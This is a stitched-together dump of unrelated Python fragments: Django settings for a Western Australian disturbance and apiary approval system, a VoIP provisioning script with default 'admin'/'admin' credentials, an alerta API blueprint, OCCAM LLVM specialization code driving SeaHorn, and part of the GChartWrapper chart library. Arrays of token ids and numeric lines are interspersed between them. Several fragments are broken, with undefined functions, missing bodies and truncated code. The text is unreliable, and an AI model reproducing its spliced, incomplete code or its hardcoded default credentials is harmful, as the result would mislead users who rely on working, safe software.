STATIC_ROOT=os.path.join(BASE_DIR, 'staticfiles_ds')
STATICFILES_DIRS.append(os.path.join(os.path.join(BASE_DIR, 'disturbance', 'static')))
DEV_STATIC = env('DEV_STATIC',False)
DEV_STATIC_URL = env('DEV_STATIC_URL')
if DEV_STATIC and not DEV_STATIC_URL:
raise ImproperlyConfigured('If running in DEV_STATIC, DEV_STATIC_URL has to be set')
DATA_UPLOAD_MAX_NUMBER_FIELDS = None
# Department details
SYSTEM_NAME = env('SYSTEM_NAME', 'Disturbance Approval System')
APIARY_SYSTEM_NAME = env('APIARY_SYSTEM_NAME', 'Apiary System')
SYSTEM_NAME_SHORT = env('SYSTEM_NAME_SHORT', 'DAS')
SITE_PREFIX = env('SITE_PREFIX')
SITE_DOMAIN = env('SITE_DOMAIN')
SUPPORT_EMAIL = env('SUPPORT_EMAIL', SYSTEM_NAME_SHORT.lower() + '@' + SITE_DOMAIN).lower()
APIARY_SUPPORT_EMAIL = env('APIARY_SUPPORT_EMAIL', SUPPORT_EMAIL).lower()
DEP_URL = env('DEP_URL','www.' + SITE_DOMAIN)
DEP_PHONE = env('DEP_PHONE','(08) 9219 9000')
DEP_PHONE_SUPPORT = env('DEP_PHONE_SUPPORT','(08) 9219 9000')
DEP_FAX = env('DEP_FAX','(08) 9423 8242')
DEP_POSTAL = env('DEP_POSTAL','Locked Bag 104, Bentley Delivery Centre, Western Australia 6983')
DEP_NAME = env('DEP_NAME','Department of Biodiversity, Conservation and Attractions')
DEP_NAME_SHORT = env('DEP_NAME_SHORT','DBCA')
SITE_URL = env('SITE_URL', 'https://' + '.'.join([SITE_PREFIX, SITE_DOMAIN]).strip('.'))
PUBLIC_URL=env('PUBLIC_URL', SITE_URL)
EMAIL_FROM = env('EMAIL_FROM', 'no-reply@' + SITE_DOMAIN).lower()
DEFAULT_FROM_EMAIL = env('DEFAULT_FROM_EMAIL', 'no-reply@' + SITE_DOMAIN).lower()
ADMIN_GROUP = env('ADMIN_GROUP', 'Disturbance Admin')
APIARY_ADMIN_GROUP = 'Apiary Admin'
DAS_APIARY_ADMIN_GROUP = 'DAS-Apiary Admin'
APIARY_PAYMENTS_OFFICERS_GROUP = 'Apiary Payments Officers'
APPROVED_EXTERNAL_USERS_GROUP = env('APPROVED_EXTERNAL_USERS_GROUP', 'Disturbance Approved External Users')
CRON_EMAIL = env('CRON_EMAIL', 'cron@' + SITE_DOMAIN).lower()
TENURE_SECTION = env('TENURE_SECTION', None)
ASSESSMENT_REMINDER_DAYS = env('ASSESSMENT_REMINDER_DAYS', 15)
OSCAR_BASKET_COOKIE_OPEN = 'das_basket'
PAYMENT_SYSTEM_ID = env('PAYMENT_SYSTEM_ID', 'S517')
PS_PAYMENT_SYSTEM_ID = PAYMENT_SYSTEM_ID
PAYMENT_SYSTEM_PREFIX = env('PAYMENT_SYSTEM_PREFIX', PAYMENT_SYSTEM_ID.replace('S','0')) # '0517'
os.environ['LEDGER_PRODUCT_CUSTOM_FIELDS'] = "('ledger_description','quantity','price_incl_tax','price_excl_tax','oracle_code')"
APIARY_URL = env('APIARY_URL', [])
CRON_NOTIFICATION_EMAIL = env('CRON_NOTIFICATION_EMAIL', NOTIFICATION_EMAIL).lower()
BASE_URL=env('BASE_URL')
CKEDITOR_CONFIGS = {
'default': {
'toolbar': 'full',
'height': 300,
#'width': 300,
'width': '100%',
},
'awesome_ckeditor': {
'toolbar': 'Basic',
},
}
BUILD_TAG = env('BUILD_TAG', hashlib.md5(os.urandom(32)).hexdigest()) # URL of the Dev app.js served by webpack & express
DEV_APP_BUILD_URL = env('DEV_APP_BUILD_URL') # URL of the Dev app.js served by webpack & express
GEOCODING_ADDRESS_SEARCH_TOKEN = env('GEOCODING_ADDRESS_SEARCH_TOKEN', 'ACCESS_TOKEN_NOT_FOUND')
RESTRICTED_RADIUS = 3000 # unit: [m]
DBCA_ABN = '38 052 249 024'
if env('CONSOLE_EMAIL_BACKEND', False):
EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
SITE_STATUS_DRAFT = 'draft'
SITE_STATUS_PENDING = 'pending'
SITE_STATUS_APPROVED = 'approved'
SITE_STATUS_DENIED = 'denied'
SITE_STATUS_CURRENT = 'current'
SITE_STATUS_NOT_TO_BE_REISSUED = 'not_to_be_reissued'
SITE_STATUS_SUSPENDED = 'suspended'
SITE_STATUS_TRANSFERRED = 'transferred'
SITE_STATUS_VACANT = 'vacant'
SITE_STATUS_DISCARDED = 'discarded'
BASE_EMAIL_TEXT = ''
BASE_EMAIL_HTML = ''
# This is either 'das'/'apiary'
# default: 'das'
# This value is determined at the middleware, DomainDetectMiddleware by where the request comes from
DOMAIN_DETECTED = 'das'
HTTP_HOST_FOR_TEST = 'localhost:8071'
# Additional logging for commercialoperator
LOGGING['loggers']['disturbance'] = {
'handlers': ['file'],
'level': 'INFO'
}
#APPLICATION_TYPES_SQL='''
# SELECT name, name FROM disturbance_applicationtypechoice
# WHERE archive_date IS NULL OR archive_date > now()
# '''
#from django.db import connection
#def run_select_sql(sql):
# try:
# with connection.cursor() as cursor:
# cursor.execute(sql)
# row = cursor.fetchall()
# return row
# except:
# return []
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] | 2.353152 | 3,347 |
from django.apps import AppConfig
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# -*- coding: utf-8 -*-
import string
import random
from jinja2 import Template, Environment, FileSystemLoader
baseDir = "c:\\provision"
# which extension number we should start
start_ext = 821
extensionHeader = """#cid_number,transfer,mailbox,type,qualify,hasdirectory,call-limit,host,context,fullname,secret,hasvoicemail,vmsecret,email,delete,hassip,hasiax,dahdichan,hasmanager,nat,dtmfmode,hasagent,callwaiting,videosupport,transport,encryption,srtpcapable,disallow,allow,deny,permit,callgroup,pickupgroup"""
extensionFileName = baseDir + "\\" + "users_extensions.csv"
env = Environment(loader=FileSystemLoader(baseDir))
mac = open(baseDir + "\\" + "macs.txt")
extensionFile = open(extensionFileName, "w")
extensionFile.write(extensionHeader)
templateExtension = env.get_template("templ_extensions.csv.j2")
templateMac = env.get_template("templ.cfg.j2")
ext = start_ext
for line in mac:
data = {
"enable": "1",
"label": ext,
"displayname": ext,
"sipUsername": ext,
"authname": ext,
"sipPassword": password(),
"server": "192.168.1.1", #change it as you want
"webUser": "admin", #change it as you want
"webPassword": "admin" #change it as you want
}
extensionFile.write("\n" + templateExtension.render(**data))
autopFile = open(baseDir + "\\" + line[0:-1] + ".cfg", "w")
autopFile.write(templateMac.render(**data) + "\n")
autopFile.close()
ext = ext + 1
mac.close()
extensionFile.close()
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8,
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201,
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2302,
3004,
8979,
13,
19836,
3419,
201,
198,
201,
198,
201,
198
] | 2.418605 | 645 |
from flask import Blueprint, current_app, jsonify, request
from alerta.app import custom_webhooks
from alerta.exceptions import ApiError
from alerta.utils.response import absolute_url
api = Blueprint('api', __name__)
from . import alerts, blackouts, config, customers, groups, heartbeats, keys, oembed, permissions, users # noqa isort:skip
try:
from . import bulk # noqa
except ImportError:
pass
@api.before_request
@api.route('/', methods=['OPTIONS', 'GET'])
@api.route('/_', methods=['GET'])
| [
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47835,
3256,
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28,
17816,
18851,
6,
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198
] | 3.077844 | 167 |
#!/usr/bin/python
# build_native.py
# Build native codes
import sys
import os, os.path
import shutil
from optparse import OptionParser
import cocos
import cocos_project
import json
import re
from xml.dom import minidom
import project_compile
BUILD_CFIG_FILE="build-cfg.json"
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62,
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1,
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] | 3.1 | 90 |
from robot.api.deco import not_keyword
| [
6738,
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13,
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62,
2539,
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] | 3.076923 | 13 |
l1 = [1, 3, 5, 7, 9] # list mutable (read write)
t1 = (1, 3, 5, 7, 9) # tuple imutable (read only)
f(l1)
print(l1)
f(t1)
print(t1)
| [
75,
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] | 1.837838 | 74 |
# Copyright 2020 Filippo Aleotti, Fabio Tosi, Li Zhang, Matteo Poggi, Stefano Mattoccia
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from dataset import KITTI
def load_from_file_test(filepath, rgb_ext):
"""Load testing images.
Args:
filepath: path to filename file
rgb_ext: extension of RGB images
Return:
left_test: list of paths to left images
right_test: list of paths to right images
"""
left_test = []
right_test = []
with open(filepath) as f:
lines = f.readlines()
for line in lines:
left, right = _load_samples_test(line, rgb_ext)
left_test.append(left)
right_test.append(right)
return left_test, right_test
def _load_samples_test(line, rgb_ext):
"""Load samples in line.
Args:
line: line to load
rgb_ext: extension of RGB image
Return:
left: list of paths to left images
right: list of paths to right images
"""
left, right = line.replace("\n", "").split(" ")
left, right = [KITTI.set_extension(x, rgb_ext) for x in [left, right]]
return left, right
| [
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59,
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1600,
366,
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7203,
366,
8,
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220,
220,
220,
1364,
11,
826,
796,
685,
42,
22470,
40,
13,
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62,
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3004,
7,
87,
11,
46140,
62,
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8,
329,
2124,
287,
685,
9464,
11,
826,
11907,
198,
220,
220,
220,
1441,
1364,
11,
826,
198
] | 2.794168 | 583 |
# Import #
# Django
from django.contrib.auth.mixins import LoginRequiredMixin
from django.http import HttpResponseRedirect
from django.shortcuts import render
from django.views import View
from django.urls import reverse
from django.utils import timezone
# App
from .forms import BookmarkForm
from .models import Bookmark
# Views #
# Metrics #
# List, Add | [
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'''
Created on Apr 21, 2015
@author: xapharius
'''
import numpy as np
import pandas as pd
from datahandler.numerical2.numerical_data_handler import NumericalDataHandler
from sklearn.linear_model.logistic import LogisticRegression
from factory.algorithm_factory import AlgorithmFactory
from factory.homogenous_factory import HomogenousFactory
from simulation.sampler.bootstrap_sampler import BootstrapSampler
import simulation.benchmarker.dataset_loader as loader
from simulation.mr_simulator.ensemble_simulator import EnsembleSimulator
from ensemble.classification.weighted_bag import WBag
from validator.classification_validator import ClassificationValidator
from simulation.mr_simulator.wbag_simulator import WBagSimulator
class ModelBenchmarker(object):
'''
Class for running a comparison
!!! Two meta-parameters for experiment: nr_mappers of simulation and sample_size_ratio for sampler
'''
def __init__(self, data_type="numerical", sampler=BootstrapSampler(),
simulator=WBagSimulator, nr_mappers=10):
'''
Constructor - Defining an experiment/environment setting
in order to then benchmark different models
@param task: "classification" or "regression"
(to know what validation metrics to choose)
@param sampler: unbound sampler
@param nr_mappers: number of mappers simulator should use
@param train_ratio: ratio of training set to total amount of data,
the rest will be used for validaion
'''
self.data_type = data_type
self.nr_mappers = nr_mappers
self.sampler = sampler
self.sampler.sample_size_ratio = 1. / nr_mappers
# iterable of RawDataset
self.datasets = loader.get_datasets(data_type=self.data_type)
self.simulator = simulator
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220,
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220,
220,
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220,
220,
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62,
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8,
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220,
220,
220,
2116,
13,
14323,
8927,
796,
35375,
628,
198,
220,
220,
220,
220
] | 2.79003 | 662 |
from ..wrappers.status import UpdateStatusResultWrapper
from .base import HttpbinAction
| [
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628
] | 4.045455 | 22 |
favorite_languages = {
'jen': 'python',
'sarah': 'c',
'edward': 'ruby',
'phil': 'python',
}
for name, language in favorite_languages.items():
print(name.title() + "'s favorite language is " +
language.title() + ".")
for name in favorite_languages.keys():
print(name.title())
friends = ['phil', 'sarah']
for name in favorite_languages.keys():
print(name.title())
if name in friends:
print(" Hi " + name.title() +
", I see your favorite language is " +
favorite_languages[name].title() + "!")
if 'erin' not in favorite_languages.keys():
print("Erin, please take our poll!")
print("The following languages have been mentioned:")
for language in favorite_languages.values():
print(language.title())
print("These languages have been mentioned at least once:")
for language in set(favorite_languages.values()):
print(language.title())
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7,
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198,
220,
220,
220,
3601,
7,
16129,
13,
7839,
28955,
198
] | 2.786787 | 333 |
import copy
import os
import logging
import pickle
import psutil
import time
import threading
import typing
from enum import Enum
from math import ceil
from multiprocessing import Pool, Queue, Manager, current_process
from threading import Timer
_logger = logging.getLogger(__name__)
# used to save all PID of workers created
m = Manager()
_current_work_pids = m.list()
class WorkerQueueHandler(logging.handlers.QueueHandler):
'''
Adds process name to log records
'''
# def emit(self, record):
# print('emit:', record)
# return super().emit(record)
# def enqueue(self, record):
# print('enqueue:', record)
# return super().enqueue(record)
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220,
1441,
2208,
22446,
268,
36560,
7,
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8,
628
] | 2.920502 | 239 |
"""
OCCAM
Copyright (c) 2011-2017, SRI International
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of SRI International nor the names of its contributors may
be used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""
import sys
import os
import tempfile
import shutil
from . import config
from . import driver
from . import interface as inter
from . import stringbuffer
from . import pool
from . import utils
def interface(input_file, output_file, wrt):
""" computing the interfaces.
"""
args = ['-Pinterface2', '-Pinterface2-output', output_file]
args += driver.all_args('-Pinterface2-entry', wrt)
return driver.previrt(input_file, '/dev/null', args)
def specialize(input_file, output_file, rewrite_file, interfaces):
""" inter module specialization.
"""
args = ['-Pspecialize']
if not rewrite_file is None:
args += ['-Pspecialize-output', rewrite_file]
args += driver.all_args('-Pspecialize-input', interfaces)
if output_file is None:
output_file = '/dev/null'
return driver.previrt(input_file, output_file, args)
def rewrite(input_file, output_file, rewrites, output=None):
""" inter module rewriting
"""
args = ['-Prewrite'] + driver.all_args('-Prewrite-input', rewrites)
return driver.previrt_progress(input_file, output_file, args, output)
def internalize(input_file, output_file, interfaces, whitelist):
""" marks unused symbols as internal/hidden
"""
args = ['-Poccam'] + driver.all_args('-Poccam-input', interfaces)
if whitelist is not None:
args = args + ['-Pkeep-external', whitelist]
return driver.previrt_progress(input_file, output_file, args)
def strip(input_file, output_file):
""" strips unused symbols
"""
args = [input_file, '-o', output_file]
args += ['-strip', '-globaldce', '-globalopt', '-strip-dead-prototypes']
return driver.run('opt', args)
def devirt(input_file, output_file):
""" resolve indirect function calls
"""
args = ['-devirt-ta',
# XXX: this one is not, in general, sound
#'-calltarget-ignore-external',
'-inline']
retcode = driver.previrt_progress(input_file, output_file, args)
if retcode != 0:
return retcode
#FIXME: previrt_progress returns 0 in cases where --devirt-ta crashes.
#Here we check that the output_file exists
if not os.path.isfile(output_file):
#Some return code different from zero
return 3
else:
return retcode
def profile(input_file, output_file):
""" count number of instructions, functions, memory accesses, etc.
"""
args = ['-Pprofiler']
args += ['-profile-outfile={0}'.format(output_file)]
return driver.previrt(input_file, '/dev/null', args)
def peval(input_file, output_file, use_devirt, use_llpe, use_ipdse, log=None):
""" intra module previrtualization
"""
opt = tempfile.NamedTemporaryFile(suffix='.bc', delete=False)
done = tempfile.NamedTemporaryFile(suffix='.bc', delete=False)
tmp = tempfile.NamedTemporaryFile(suffix='.bc', delete=False)
opt.close()
done.close()
tmp.close()
#XXX: Optimize using standard llvm transformations before any other pass.
#Otherwise, these passes will not be very effective.
retcode = optimize(input_file, done.name)
if retcode != 0:
sys.stderr.write("ERROR: intra module optimization failed!\n")
shutil.copy(input_file, output_file)
return retcode
else:
sys.stderr.write("\tintra module optimization finished succesfully\n")
if use_devirt is not None:
retcode = devirt(done.name, tmp.name)
if retcode != 0:
sys.stderr.write("ERROR: resolution of indirect calls failed!\n")
shutil.copy(done.name, output_file)
return retcode
sys.stderr.write("\tresolved indirect calls finished succesfully\n")
shutil.copy(tmp.name, done.name)
if use_llpe is not None:
llpe_libs = []
for lib in config.get_llpelibs():
llpe_libs.append('-load={0}'.format(lib))
args = llpe_libs + ['-loop-simplify', '-lcssa', \
'-llpe', '-llpe-omit-checks', '-llpe-single-threaded', \
done.name, '-o=%s' % tmp.name]
retcode = driver.run('opt', args)
if retcode != 0:
sys.stderr.write("ERROR: llpe failed!\n")
shutil.copy(done.name, output_file)
#FIXME: unlink files
return retcode
else:
sys.stderr.write("\tllpe finished succesfully\n")
shutil.copy(tmp.name, done.name)
if use_ipdse is not None:
##lower global initializers to store's in main (improve precision of sccp)
passes = ['-lower-gv-init']
##dead store elimination (improve precision of sccp)
passes += ['-memory-ssa', '-Pmem-ssa-local-mod','-Pmem-ssa-split-fields',
'-mem2reg', '-ip-dse', '-strip-memory-ssa-inst']
##perform sccp
passes += ['-Psccp']
##cleanup after sccp
passes += ['-dce', '-globaldce']
retcode = driver.previrt(done.name, tmp.name, passes)
if retcode != 0:
sys.stderr.write("ERROR: ipdse failed!\n")
shutil.copy(done.name, output_file)
#FIXME: unlink files
return retcode
else:
sys.stderr.write("\tipdse finished succesfully\n")
shutil.copy(tmp.name, done.name)
out = ['']
iteration = 0
while True:
iteration += 1
if iteration > 1 or \
(use_llpe is not None or use_ipdse is not None):
# optimize using standard llvm transformations
retcode = optimize(done.name, opt.name)
if retcode != 0:
sys.stderr.write("ERROR: intra-module optimization failed!\n")
break;
else:
sys.stderr.write("\tintra module optimization finished succesfully\n")
else:
shutil.copy(done.name, opt.name)
# inlining using policies
passes = ['-Ppeval']
progress = driver.previrt_progress(opt.name, done.name, passes, output=out)
sys.stderr.write("\tintra-module specialization finished\n")
if progress:
if log is not None:
log.write(out[0])
else:
shutil.copy(opt.name, done.name)
break
shutil.copy(done.name, output_file)
try:
os.unlink(done.name)
os.unlink(opt.name)
os.unlink(tmp.name)
except OSError:
pass
return retcode
def optimize(input_file, output_file):
""" run opt -O3
"""
args = ['-disable-simplify-libcalls', input_file, '-o', output_file, '-O3']
return driver.run('opt', args)
def constrain_program_args(input_file, output_file, cnstrs, filename=None):
""" constrain the program arguments.
"""
if filename is None:
cnstr_file = tempfile.NamedTemporaryFile(delete=False)
cnstr_file.close()
cnstr_file = cnstr_file.name
else:
cnstr_file = filename
f = open(cnstr_file, 'w')
(argc, argv) = cnstrs
f.write('{0}\n'.format(argc))
index = 0
for x in argv:
f.write('{0} {1}\n'.format(index, x))
index += 1
f.close()
args = ['-Pconstraints', '-Pconstraints-input', cnstr_file]
driver.previrt(input_file, output_file, args)
if filename is None:
os.unlink(cnstr_file)
def specialize_program_args(input_file, output_file, args, filename=None, name=None):
""" fix the program arguments.
"""
if filename is None:
arg_file = tempfile.NamedTemporaryFile(delete=False)
arg_file.close()
arg_file = arg_file.name
else:
arg_file = filename
f = open(arg_file, 'w')
for x in args:
f.write(x + '\n')
f.close()
extra_args = []
if not name is None:
extra_args = ['-Parguments-name', name]
args = ['-Parguments', '-Parguments-input', arg_file] + extra_args
driver.previrt(input_file, output_file, args)
if filename is None:
os.unlink(arg_file)
def deep(libs, ifaces):
""" compute interfaces across modules.
"""
tf = tempfile.NamedTemporaryFile(suffix='.iface', delete=False)
tf.close()
iface = inter.parseInterface(ifaces[0])
for i in ifaces[1:]:
inter.joinInterfaces(iface, inter.parseInterface(i))
inter.writeInterface(iface, tf.name)
progress = True
while progress:
progress = False
for l in libs:
interface(l, tf.name, [tf.name])
x = inter.parseInterface(tf.name)
progress = inter.joinInterfaces(iface, x) or progress
inter.writeInterface(iface, tf.name)
os.unlink(tf.name)
return iface
def run_seahorn(sea_cmd, input_file, fname, is_loop_free, cpu, mem):
""" running SeaHorn
"""
# 1. Instrument the program with assertions
sea_infile = tempfile.NamedTemporaryFile(suffix='.bc', delete=False)
sea_infile.close()
args = ['--Padd-verifier-calls',
'--Padd-verifier-call-in-function={0}'.format(fname)]
driver.previrt(input_file, sea_infile.name, args)
# 2. Run SeaHorn
sea_args = [ '--strip-extern'
, '--enable-indvar'
, '--enable-loop-idiom'
, '--symbolize-constant-loop-bounds'
, '--unfold-loops-for-dsa'
, '--simplify-pointer-loops'
, '--horn-sea-dsa-local-mod'
, '--horn-sea-dsa-split'
, '--dsa=sea-cs'
, '--cpu={0}'.format(cpu)
, '--mem={0}'.format(mem)]
if is_loop_free:
# the bound shouldn't affect for proving unreachability of the
# function but we need a global bound for all loops.
sea_args = ['bpf', '--bmc=mono', '--bound=3'] + \
sea_args + \
[ '--horn-bv-global-constraints=true'
, '--horn-bv-singleton-aliases=true'
, '--horn-bv-ignore-calloc=false'
, '--horn-at-most-one-predecessor']
sys.stderr.write('\tRunning SeaHorn with BMC engine on {0} ...\n'.format(fname))
else:
sea_args = ['pf'] + \
sea_args + \
[ '--horn-global-constraints=true'
, '--horn-singleton-aliases=true'
, '--horn-ignore-calloc=false'
, '--crab', '--crab-dom=int']
sys.stderr.write('\tRunning SeaHorn with Spacer+AI engine on {0} ...\n'.format(fname))
sea_args = sea_args + [sea_infile.name]
sb = stringbuffer.StringBuffer()
retcode= driver.run(sea_cmd, sea_args, sb, False)
status = check_status(str(sb))
if retcode == 0 and status:
# 3. If SeaHorn proved unreachability of the function then we
# add assume(false) at the entry of that function.
sys.stderr.write('SeaHorn proved unreachability of {0}!\n'.format(fname))
sea_outfile = tempfile.NamedTemporaryFile(suffix='.bc', delete=False)
sea_outfile.close()
args = ['--Preplace-verifier-calls-with-unreachable']
driver.previrt_progress(sea_infile.name, sea_outfile.name, args)
# 4. And, we run the optimized to remove that function
sea_opt_outfile = tempfile.NamedTemporaryFile(suffix='.bc', delete=False)
sea_opt_outfile.close()
optimize(sea_outfile.name, sea_opt_outfile.name)
return sea_opt_outfile.name
else:
sys.stderr.write('\tSeaHorn could not prove unreachability of {0}.\n'.format(fname))
if retcode <> 0:
sys.stderr.write('\t\tPossibly timeout or memory limits reached\n')
elif not status:
sys.stderr.write('\t\tSeaHorn got a counterexample\n')
return input_file
def precise_dce(input_file, ropfile, output_file):
""" use SeaHorn model-checker to remove dead functions
"""
sea_cmd = utils.get_seahorn()
if sea_cmd is None:
sys.stderr.write('SeaHorn not found. Aborting precise dce ...')
shutil.copy(input_file, output_file)
return False
cost_benefit_out = tempfile.NamedTemporaryFile(delete=False)
args = ['--Pcost-benefit-cg']
args += ['--Pbenefits-filename={0}'.format(ropfile)]
args += ['--Pcost-benefit-output={0}'.format(cost_benefit_out.name)]
driver.previrt(input_file, '/dev/null', args)
####
## TODO: make these parameters user-definable:
####
benefit_threshold = 20 ## number of ROP gadgets
cost_threshold = 3 ## number of loops
timeout = 120 ## SeaHorn timeout in seconds
memlimit = 4096 ## SeaHorn memory limit in MB
seahorn_queries = []
for line in cost_benefit_out:
tokens = line.split()
# Expected format of each token: FUNCTION BENEFIT COST
# where FUNCTION is a string, BENEFIT is an integer, and COST is an integer
if len(tokens) < 3:
sys.stderr.write('ERROR: unexpected format of {0}\n'.format(cost_benefit_out.name))
return False
fname = tokens[0]
fbenefit= int(tokens[1])
fcost = int(tokens[2])
if fbenefit >= benefit_threshold and fcost <= cost_threshold:
seahorn_queries.extend([(fname, fcost == 0)])
cost_benefit_out.close()
if seahorn_queries == []:
print "No queries for SeaHorn ..."
#####
## TODO: run SeaHorn instances in parallel
#####
change = False
curfile = input_file
for (fname, is_loop_free) in seahorn_queries:
if fname == 'main' or \
fname.startswith('devirt') or \
fname.startswith('seahorn'):
continue
nextfile = run_seahorn(sea_cmd, curfile, fname, is_loop_free, timeout, memlimit)
change = change | (curfile <> nextfile)
curfile = nextfile
shutil.copy(curfile, output_file)
return change
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# -*- coding: utf-8 -*-
################################################################################
# GChartWrapper - v0.8
# Copyright (C) 2009 Justin Quick <[email protected]>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 3 as published
# by the Free Software Foundation.
#
# Thanks to anyone who does anything for this project.
# If you have even the smallest revision, please email me at above address.
################################################################################
"""
GChartWrapper - Google Chart API Wrapper
The wrapper can render the URL of the Google chart based on your parameters.
With the chart you can render an HTML img tag to insert into webpages on the fly,
show it directly in a webbrowser, or save the chart PNG to disk. New versions
can generate PIL PngImage instances.
Example
>>> G = GChart('lc',['simpleisbetterthancomplexcomplexisbetterthancomplicated'])
>>> G.title('The Zen of Python','00cc00',36)
>>> G.color('00cc00')
>>> str(G)
'http://chart.apis.google.com/chart?
chd=e:simpleisbetterthancomplexcomplexisbetterthancomplicated
&chs=300x150
&cht=lc
&chtt=The+Zen+of+Python'
>>> G.image() # PIL instance
<PngImagePlugin.PngImageFile instance at ...>
>>> 1#G.show() # Webbrowser open
True
>>> G.save('tmp.png') # Save to disk
'tmp.png'
See tests.py for unit test and other examples
"""
from GChartWrapper.constants import *
from GChartWrapper.encoding import Encoder
from copy import copy
def lookup_color(color):
"""
Returns the hex color for any valid css color name
>>> lookup_color('aliceblue')
'F0F8FF'
"""
if color is None: return
color = color.lower()
if color in COLOR_MAP:
return COLOR_MAP[color]
return color
def color_args(args, *indexes):
"""
Color a list of arguments on particular indexes
>>> c = color_args([None,'blue'], 1)
>>> c.next()
None
>>> c.next()
'0000FF'
"""
for i,arg in enumerate(args):
if i in indexes:
yield lookup_color(arg)
else:
yield arg
class Axes(dict):
"""
Axes attribute dictionary storage
Use this class via GChart(...).axes
Methods are taken one at a time, like so:
>>> G = GChart()
>>> G.axes.type('xy')
{}
>>> G.axes.label(1,'Label1') # X Axis
{}
>>> G.axes.label(2,'Label2') # Y Axis
{}
"""
def tick(self, index, length):
"""
Add tick marks in order of axes by width
APIPARAM: chxtc <axis index>,<length of tick mark>
"""
assert int(length) <= 25, 'Width cannot be more than 25'
self.data['ticks'].append('%s,%d'%(index,length))
return self.parent
def type(self, atype):
"""
Define the type of axes you wish to use
atype must be one of x,t,y,r
APIPARAM: chxt
"""
for char in atype:
assert char in 'xtyr', 'Invalid axes type: %s'%char
if not ',' in atype:
atype = ','.join(atype)
self['chxt'] = atype
return self.parent
__call__ = type
def label(self, index, *args):
"""
Label each axes one at a time
args are of the form <label 1>,...,<label n>
APIPARAM: chxl
"""
self.data['labels'].append(
str('%s:|%s'%(index, '|'.join(map(str,args)) )).replace('None','')
)
return self.parent
def position(self, index, *args):
"""
Set the label position of each axis, one at a time
args are of the form <label position 1>,...,<label position n>
APIPARAM: chxp
"""
self.data['positions'].append(
str('%s,%s'%(index, ','.join(map(str,args)))).replace('None','')
)
return self.parent
def range(self, index, *args):
"""
Set the range of each axis, one at a time
args are of the form <start of range>,<end of range>,<interval>
APIPARAM: chxr
"""
self.data['ranges'].append('%s,%s'%(index,
','.join(map(smart_str, args))))
return self.parent
def style(self, index, *args):
"""
Add style to your axis, one at a time
args are of the form::
<axis color>,
<font size>,
<alignment>,
<drawing control>,
<tick mark color>
APIPARAM: chxs
"""
args = color_args(args, 0)
self.data['styles'].append(
','.join([str(index)]+list(map(str,args)))
)
return self.parent
def render(self):
"""Render the axes data into the dict data"""
for opt,values in self.data.items():
if opt == 'ticks':
self['chxtc'] = '|'.join(values)
else:
self['chx%s'%opt[0]] = '|'.join(values)
return self
class GChart(dict):
"""Main chart class
Chart type must be valid for cht parameter
Dataset can be any python iterable and be multi dimensional
Kwargs will be put into chart API params if valid"""
@classmethod
def fromurl(cls, qs):
"""
Reverse a chart URL or dict into a GChart instance
>>> G = GChart.fromurl('http://chart.apis.google.com/chart?...')
>>> G
<GChartWrapper.GChart instance at...>
>>> G.image().save('chart.jpg','JPEG')
"""
if isinstance(qs, dict):
return cls(**qs)
return cls(**dict(parse_qsl(qs[qs.index('?')+1:])))
###################
# Callables
###################
def map(self, geo, country_codes):
"""
Creates a map of the defined geography with the given country/state codes
Geography choices are africa, asia, europe, middle_east, south_america, and world
ISO country codes can be found at http://code.google.com/apis/chart/isocodes.html
US state codes can be found at http://code.google.com/apis/chart/statecodes.html
APIPARAMS: chtm & chld
"""
assert geo in GEO, 'Geograpic area %s not recognized'%geo
self._geo = geo
self._ld = country_codes
return self
def level_data(self, *args):
"""
Just used in QRCode for the moment
args are error_correction,margin_size
APIPARAM: chld
"""
assert args[0].lower() in 'lmqh', 'Unknown EC level %s'%level
self['chld'] = '%s|%s'%args
return self
def bar(self, *args):
"""
For bar charts, specify bar thickness and spacing with the args
args are <bar width>,<space between bars>,<space between groups>
bar width can be relative or absolute, see the official doc
APIPARAM: chbh
"""
self['chbh'] = ','.join(map(str,args))
return self
def encoding(self, arg):
"""
Specifies the encoding to be used for the Encoder
Must be one of 'simple','text', or 'extended'
"""
self._encoding = arg
return self
def output_encoding(self, encoding):
"""
Output encoding to use for QRCode encoding
Must be one of 'Shift_JIS','UTF-8', or 'ISO-8859-1'
APIPARAM: choe
"""
assert encoding in ('Shift_JIS','UTF-8','ISO-8859-1'),\
'Unknown encoding %s'%encoding
self['choe'] = encoding
return self
def scale(self, *args):
"""
Scales the data down to the given size
args must be of the form::
<data set 1 minimum value>,
<data set 1 maximum value>,
<data set n minimum value>,
<data set n maximum value>
will only work with text encoding!
APIPARAM: chds
"""
self._scale = [','.join(map(smart_str, args))]
return self
def dataset(self, data, series=''):
"""
Update the chart's dataset, can be two dimensional or contain string data
"""
self._dataset = data
self._series = series
return self
def marker(self, *args):
"""
Defines markers one at a time for your graph
args are of the form::
<marker type>,
